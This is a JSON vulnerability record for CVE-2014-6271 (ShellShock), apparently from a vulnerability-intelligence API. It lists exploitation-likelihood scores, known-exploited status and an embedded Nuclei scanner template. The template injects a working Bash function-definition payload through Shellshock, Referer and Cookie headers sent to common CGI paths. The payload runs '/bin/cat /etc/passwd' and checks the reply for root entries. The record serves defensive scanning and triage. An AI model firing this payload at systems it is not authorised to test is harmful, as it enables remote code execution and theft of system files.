{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2014-6271/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2014-6271/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2014-6271/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2014-6271/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2014-6271/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2014-6271"},"sightings":{"href":"/api/v1/sightings/cve-2014-6271"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99999,"kev":true,"percentile":0.99993},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2014/CVE-2014-6271.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2014-6271\n\ninfo:\n  name: ShellShock - Remote Code Execution\n  author: pentest_swissky,0xelkomy\n  severity: critical\n  description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.\n  impact: |\n    Remote code execution can lead to unauthorized access, data theft, and system compromise.\n  remediation: |\n    Apply the necessary patches and updates provided by the vendor to fix the vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-7169\n    - http://www.kb.cert.org/vuls/id/252743\n    - http://www.us-cert.gov/ncas/alerts/TA14-268A\n    - http://advisories.mageia.org/MGASA-2014-0388.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2014-6271\n    cwe-id: CWE-78\n    epss-score: 0.99999\n    epss-percentile: 0.99992\n    cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 8\n    vendor: gnu\n    product: bash\n  tags: cve2014,cve,rce,shellshock,kev,gnu,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{paths}}\"\n    payloads:\n      paths:\n        - \"\"\n        - \"/cgi-bin/status\"\n        - \"/cgi-bin/stats\"\n        - \"/cgi-bin/test\"\n        - \"/cgi-bin/status/status.cgi\"\n        - \"/test.cgi\"\n        - \"/debug.cgi\"\n        - \"/cgi-bin/test-cgi\"\n        - \"/cgi-bin/test.cgi\"\n\n    stop-at-first-match: true\n\n    headers:\n      Shellshock: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n      Referer: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n      Cookie: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502202c8887484c967eeabeef1e87ca82fd3e4c4c1e854540edc2c4631800d59796b10221009c0a06ecb1ac7731b7534aa044d95315fdac4d0ccf3aa04a8d2feb0ece913b3a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2014-6271"}